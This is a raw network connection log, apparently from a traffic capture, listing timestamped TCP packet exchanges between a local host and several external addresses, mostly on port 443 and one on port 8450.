May 1, 2024 08:37:02.319509983 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.319530010 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.319570065 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.319732904 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.319749117 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.319791079 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.319796085 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.319823980 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.319830894 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.320507050 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.320523977 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.320585966 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.320595980 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.320625067 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.320698023 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.320720911 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.320749998 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.320755005 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.320785999 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.320800066 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.321715117 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.321737051 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.321793079 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.321799040 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.321846962 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.321893930 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.321911097 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.321960926 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.321965933 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.321976900 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.322732925 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.322753906 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.322789907 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.322793961 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.322815895 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.322851896 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.322916031 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.322935104 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.322978973 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.322983980 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.322995901 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.323021889 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.323961020 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.323977947 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.324032068 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.324037075 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.324076891 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.324198008 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.324213982 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.324265003 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.324268103 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.324287891 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.324340105 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.324904919 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.324920893 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.324987888 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.324992895 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.325041056 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.325098991 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.325114965 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.325149059 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.325155020 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.325181007 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.325197935 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.325984955 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.326003075 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.326061964 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.326067924 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.326107979 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.326201916 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.326220036 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.326251984 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.326256037 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.326282978 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.326301098 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.327203035 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.327220917 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.327281952 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.327289104 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.327328920 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.327373981 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.327392101 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.327455997 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.327455997 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.327460051 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.328134060 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.328155041 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.328162909 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.328167915 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.328198910 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.328223944 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.328439951 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.328457117 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.328519106 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.328525066 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.328561068 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.329210997 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.329227924 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.329284906 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.329297066 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.329351902 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.329358101 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.329366922 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.329411030 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.329427004 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.329438925 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.329464912 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.329489946 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.330317020 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.330337048 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.330394030 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.330405951 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.330454111 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.330585957 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.330606937 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.330646038 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.330655098 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.330674887 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.330693007 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.331342936 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.331363916 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.331422091 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.331434011 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.331479073 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.331753016 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.331768990 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.331809044 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.331820011 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.331840992 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.332158089 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.332423925 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.332441092 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.332496881 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.332508087 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.332561970 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.332695961 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.332712889 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.332757950 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.332767963 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.332809925 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.333409071 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.333425045 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.333476067 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.333487034 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.333565950 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.333592892 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.333615065 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.333647966 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.333657980 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.333683014 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.333699942 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.334553957 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.334578037 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.334625006 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.334634066 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.334662914 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.334695101 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.334697962 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.334708929 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.334728003 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.334758997 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.334768057 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.334785938 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.334795952 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.334810019 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.334817886 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.334842920 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.334863901 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.334873915 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.334949017 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.336090088 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:09.470274925 CEST	49742	443	192.168.2.4	185.184.154.65
May 1, 2024 08:37:09.470319033 CEST	443	49742	185.184.154.65	192.168.2.4
May 1, 2024 08:37:09.470510006 CEST	49742	443	192.168.2.4	185.184.154.65
May 1, 2024 08:37:09.470885038 CEST	49742	443	192.168.2.4	185.184.154.65
May 1, 2024 08:37:09.470902920 CEST	443	49742	185.184.154.65	192.168.2.4
May 1, 2024 08:37:10.087515116 CEST	443	49742	185.184.154.65	192.168.2.4
May 1, 2024 08:37:10.087650061 CEST	49742	443	192.168.2.4	185.184.154.65
May 1, 2024 08:37:10.089581013 CEST	49742	443	192.168.2.4	185.184.154.65
May 1, 2024 08:37:10.089593887 CEST	443	49742	185.184.154.65	192.168.2.4
May 1, 2024 08:37:10.089845896 CEST	443	49742	185.184.154.65	192.168.2.4
May 1, 2024 08:37:10.090790987 CEST	49742	443	192.168.2.4	185.184.154.65
May 1, 2024 08:37:10.136127949 CEST	443	49742	185.184.154.65	192.168.2.4
May 1, 2024 08:37:10.695947886 CEST	443	49742	185.184.154.65	192.168.2.4
May 1, 2024 08:37:10.695980072 CEST	443	49742	185.184.154.65	192.168.2.4
May 1, 2024 08:37:10.696063042 CEST	49742	443	192.168.2.4	185.184.154.65
May 1, 2024 08:37:10.696091890 CEST	443	49742	185.184.154.65	192.168.2.4
May 1, 2024 08:37:10.741221905 CEST	49742	443	192.168.2.4	185.184.154.65
May 1, 2024 08:37:10.999763012 CEST	443	49742	185.184.154.65	192.168.2.4
May 1, 2024 08:37:10.999778986 CEST	443	49742	185.184.154.65	192.168.2.4
May 1, 2024 08:37:10.999841928 CEST	443	49742	185.184.154.65	192.168.2.4
May 1, 2024 08:37:10.999908924 CEST	49742	443	192.168.2.4	185.184.154.65
May 1, 2024 08:37:10.999941111 CEST	443	49742	185.184.154.65	192.168.2.4
May 1, 2024 08:37:10.999957085 CEST	49742	443	192.168.2.4	185.184.154.65
May 1, 2024 08:37:10.999980927 CEST	49742	443	192.168.2.4	185.184.154.65
May 1, 2024 08:37:11.038284063 CEST	443	49742	185.184.154.65	192.168.2.4
May 1, 2024 08:37:11.038326979 CEST	443	49742	185.184.154.65	192.168.2.4
May 1, 2024 08:37:11.038382053 CEST	49742	443	192.168.2.4	185.184.154.65
May 1, 2024 08:37:11.038412094 CEST	443	49742	185.184.154.65	192.168.2.4
May 1, 2024 08:37:11.038424969 CEST	49742	443	192.168.2.4	185.184.154.65
May 1, 2024 08:37:11.038450003 CEST	49742	443	192.168.2.4	185.184.154.65
May 1, 2024 08:37:11.304514885 CEST	443	49742	185.184.154.65	192.168.2.4
May 1, 2024 08:37:11.304610014 CEST	443	49742	185.184.154.65	192.168.2.4
May 1, 2024 08:37:11.304651976 CEST	49742	443	192.168.2.4	185.184.154.65
May 1, 2024 08:37:11.304692030 CEST	49742	443	192.168.2.4	185.184.154.65
May 1, 2024 08:37:11.386837006 CEST	49742	443	192.168.2.4	185.184.154.65
May 1, 2024 08:37:19.222538948 CEST	49743	8450	192.168.2.4	12.221.146.138
May 1, 2024 08:37:19.503005981 CEST	8450	49743	12.221.146.138	192.168.2.4
May 1, 2024 08:37:19.503201008 CEST	49743	8450	192.168.2.4	12.221.146.138
May 1, 2024 08:37:20.152776003 CEST	49743	8450	192.168.2.4	12.221.146.138
May 1, 2024 08:37:20.474071980 CEST	8450	49743	12.221.146.138	192.168.2.4
May 1, 2024 08:37:20.896759033 CEST	8450	49743	12.221.146.138	192.168.2.4
May 1, 2024 08:37:20.896805048 CEST	8450	49743	12.221.146.138	192.168.2.4
May 1, 2024 08:37:20.896856070 CEST	49743	8450	192.168.2.4	12.221.146.138
May 1, 2024 08:37:20.897181988 CEST	8450	49743	12.221.146.138	192.168.2.4
May 1, 2024 08:37:20.897212029 CEST	8450	49743	12.221.146.138	192.168.2.4
May 1, 2024 08:37:20.897226095 CEST	8450	49743	12.221.146.138	192.168.2.4
May 1, 2024 08:37:20.897258997 CEST	49743	8450	192.168.2.4	12.221.146.138
May 1, 2024 08:37:20.897320986 CEST	8450	49743	12.221.146.138	192.168.2.4
May 1, 2024 08:37:20.897464037 CEST	49743	8450	192.168.2.4	12.221.146.138
May 1, 2024 08:37:20.909239054 CEST	8450	49743	12.221.146.138	192.168.2.4
May 1, 2024 08:37:20.909264088 CEST	8450	49743	12.221.146.138	192.168.2.4
May 1, 2024 08:37:20.909375906 CEST	49743	8450	192.168.2.4	12.221.146.138
May 1, 2024 08:37:20.909442902 CEST	8450	49743	12.221.146.138	192.168.2.4
May 1, 2024 08:37:20.909482002 CEST	8450	49743	12.221.146.138	192.168.2.4
May 1, 2024 08:37:20.909518003 CEST	49743	8450	192.168.2.4	12.221.146.138
May 1, 2024 08:37:21.180565119 CEST	8450	49743	12.221.146.138	192.168.2.4
May 1, 2024 08:37:21.180668116 CEST	8450	49743	12.221.146.138	192.168.2.4
May 1, 2024 08:37:21.180843115 CEST	49743	8450	192.168.2.4	12.221.146.138
May 1, 2024 08:37:31.794821024 CEST	49743	8450	192.168.2.4	12.221.146.138
May 1, 2024 08:37:32.114263058 CEST	8450	49743	12.221.146.138	192.168.2.4
May 1, 2024 08:37:34.360095024 CEST	8450	49743	12.221.146.138	192.168.2.4
May 1, 2024 08:37:34.428760052 CEST	49743	8450	192.168.2.4	12.221.146.138
May 1, 2024 08:37:42.244044065 CEST	49743	8450	192.168.2.4	12.221.146.138
May 1, 2024 08:37:42.564723015 CEST	8450	49743	12.221.146.138	192.168.2.4
May 1, 2024 08:37:47.888335943 CEST	49747	443	192.168.2.4	172.67.19.24
May 1, 2024 08:37:47.888367891 CEST	443	49747	172.67.19.24	192.168.2.4
May 1, 2024 08:37:47.888437986 CEST	49747	443	192.168.2.4	172.67.19.24
May 1, 2024 08:37:47.891710043 CEST	49748	443	192.168.2.4	172.67.19.24
May 1, 2024 08:37:47.891747952 CEST	443	49748	172.67.19.24	192.168.2.4
May 1, 2024 08:37:47.891817093 CEST	49748	443	192.168.2.4	172.67.19.24
May 1, 2024 08:37:47.894220114 CEST	49747	443	192.168.2.4	172.67.19.24
May 1, 2024 08:37:47.894229889 CEST	443	49747	172.67.19.24	192.168.2.4
May 1, 2024 08:37:47.894252062 CEST	49748	443	192.168.2.4	172.67.19.24
May 1, 2024 08:37:47.894272089 CEST	443	49748	172.67.19.24	192.168.2.4
May 1, 2024 08:37:48.091715097 CEST	443	49747	172.67.19.24	192.168.2.4
May 1, 2024 08:37:48.092124939 CEST	49747	443	192.168.2.4	172.67.19.24
May 1, 2024 08:37:48.093137026 CEST	443	49748	172.67.19.24	192.168.2.4
May 1, 2024 08:37:48.093238115 CEST	49748	443	192.168.2.4	172.67.19.24
May 1, 2024 08:37:48.112123013 CEST	49747	443	192.168.2.4	172.67.19.24
May 1, 2024 08:37:48.112139940 CEST	443	49747	172.67.19.24	192.168.2.4
May 1, 2024 08:37:48.112528086 CEST	443	49747	172.67.19.24	192.168.2.4
May 1, 2024 08:37:48.112672091 CEST	49747	443	192.168.2.4	172.67.19.24
May 1, 2024 08:37:48.113806963 CEST	49748	443	192.168.2.4	172.67.19.24
May 1, 2024 08:37:48.113837957 CEST	443	49748	172.67.19.24	192.168.2.4
May 1, 2024 08:37:48.114181995 CEST	443	49748	172.67.19.24	192.168.2.4
May 1, 2024 08:37:48.114244938 CEST	49748	443	192.168.2.4	172.67.19.24
May 1, 2024 08:37:48.117980957 CEST	49748	443	192.168.2.4	172.67.19.24
May 1, 2024 08:37:48.118112087 CEST	49747	443	192.168.2.4	172.67.19.24
May 1, 2024 08:37:48.160123110 CEST	443	49748	172.67.19.24	192.168.2.4
May 1, 2024 08:37:48.160124063 CEST	443	49747	172.67.19.24	192.168.2.4
May 1, 2024 08:37:48.576488018 CEST	443	49747	172.67.19.24	192.168.2.4
May 1, 2024 08:37:48.576538086 CEST	443	49747	172.67.19.24	192.168.2.4
May 1, 2024 08:37:48.576575994 CEST	443	49747	172.67.19.24	192.168.2.4
May 1, 2024 08:37:48.576596975 CEST	49747	443	192.168.2.4	172.67.19.24
May 1, 2024 08:37:48.576608896 CEST	443	49747	172.67.19.24	192.168.2.4
May 1, 2024 08:37:48.576620102 CEST	443	49747	172.67.19.24	192.168.2.4
May 1, 2024 08:37:48.576653004 CEST	49747	443	192.168.2.4	172.67.19.24
May 1, 2024 08:37:48.576653004 CEST	49747	443	192.168.2.4	172.67.19.24
May 1, 2024 08:37:48.576663017 CEST	443	49747	172.67.19.24	192.168.2.4
May 1, 2024 08:37:48.576674938 CEST	443	49747	172.67.19.24	192.168.2.4
May 1, 2024 08:37:48.576714039 CEST	49747	443	192.168.2.4	172.67.19.24
May 1, 2024 08:37:48.577111959 CEST	443	49747	172.67.19.24	192.168.2.4
May 1, 2024 08:37:48.577150106 CEST	443	49747	172.67.19.24	192.168.2.4
May 1, 2024 08:37:48.577208996 CEST	49747	443	192.168.2.4	172.67.19.24
May 1, 2024 08:37:48.577214956 CEST	443	49747	172.67.19.24	192.168.2.4
May 1, 2024 08:37:48.577239990 CEST	443	49747	172.67.19.24	192.168.2.4
May 1, 2024 08:37:48.577246904 CEST	49747	443	192.168.2.4	172.67.19.24
May 1, 2024 08:37:48.577342033 CEST	49747	443	192.168.2.4	172.67.19.24
May 1, 2024 08:37:48.582672119 CEST	49747	443	192.168.2.4	172.67.19.24
May 1, 2024 08:37:48.582690001 CEST	443	49747	172.67.19.24	192.168.2.4
May 1, 2024 08:37:48.761009932 CEST	443	49748	172.67.19.24	192.168.2.4
May 1, 2024 08:37:48.761059046 CEST	443	49748	172.67.19.24	192.168.2.4
May 1, 2024 08:37:48.761081934 CEST	443	49748	172.67.19.24	192.168.2.4
May 1, 2024 08:37:48.761092901 CEST	49748	443	192.168.2.4	172.67.19.24
May 1, 2024 08:37:48.761106014 CEST	443	49748	172.67.19.24	192.168.2.4
May 1, 2024 08:37:48.761116982 CEST	49748	443	192.168.2.4	172.67.19.24
May 1, 2024 08:37:48.761117935 CEST	443	49748	172.67.19.24	192.168.2.4
May 1, 2024 08:37:48.761146069 CEST	49748	443	192.168.2.4	172.67.19.24
May 1, 2024 08:37:48.761146069 CEST	49748	443	192.168.2.4	172.67.19.24
May 1, 2024 08:37:48.761166096 CEST	443	49748	172.67.19.24	192.168.2.4
May 1, 2024 08:37:48.761353016 CEST	443	49748	172.67.19.24	192.168.2.4
May 1, 2024 08:37:48.761375904 CEST	443	49748	172.67.19.24	192.168.2.4
May 1, 2024 08:37:48.761389017 CEST	49748	443	192.168.2.4	172.67.19.24
May 1, 2024 08:37:48.761398077 CEST	443	49748	172.67.19.24	192.168.2.4
May 1, 2024 08:37:48.761420012 CEST	443	49748	172.67.19.24	192.168.2.4
May 1, 2024 08:37:48.761435986 CEST	49748	443	192.168.2.4	172.67.19.24
May 1, 2024 08:37:48.761445045 CEST	443	49748	172.67.19.24	192.168.2.4
May 1, 2024 08:37:48.761465073 CEST	49748	443	192.168.2.4	172.67.19.24
May 1, 2024 08:37:48.761482000 CEST	49748	443	192.168.2.4	172.67.19.24
May 1, 2024 08:37:48.761488914 CEST	443	49748	172.67.19.24	192.168.2.4
May 1, 2024 08:37:48.761502028 CEST	443	49748	172.67.19.24	192.168.2.4
May 1, 2024 08:37:48.761538982 CEST	49748	443	192.168.2.4	172.67.19.24
May 1, 2024 08:37:48.762620926 CEST	49748	443	192.168.2.4	172.67.19.24
May 1, 2024 08:37:48.762633085 CEST	443	49748	172.67.19.24	192.168.2.4
May 1, 2024 08:37:51.318871021 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:51.318926096 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.319025040 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:51.326278925 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:51.326317072 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.511795044 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:51.511838913 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.512233973 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:51.515029907 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:51.515050888 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.523004055 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.523070097 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:51.526082993 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:51.526096106 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.526381969 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.534035921 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:51.576122046 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.713550091 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.713649988 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:51.715269089 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:51.715274096 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.715560913 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.721901894 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:51.768119097 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.951371908 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.951425076 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.951451063 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.951477051 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.951499939 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.951499939 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:51.951522112 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.951575041 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:51.951575041 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:51.951582909 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.951730967 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.951750040 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.951777935 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:51.951782942 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.952164888 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.952191114 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.952214003 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.952235937 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:51.952244043 CEST	49751	443	192.168.2.4	172.67.215.45
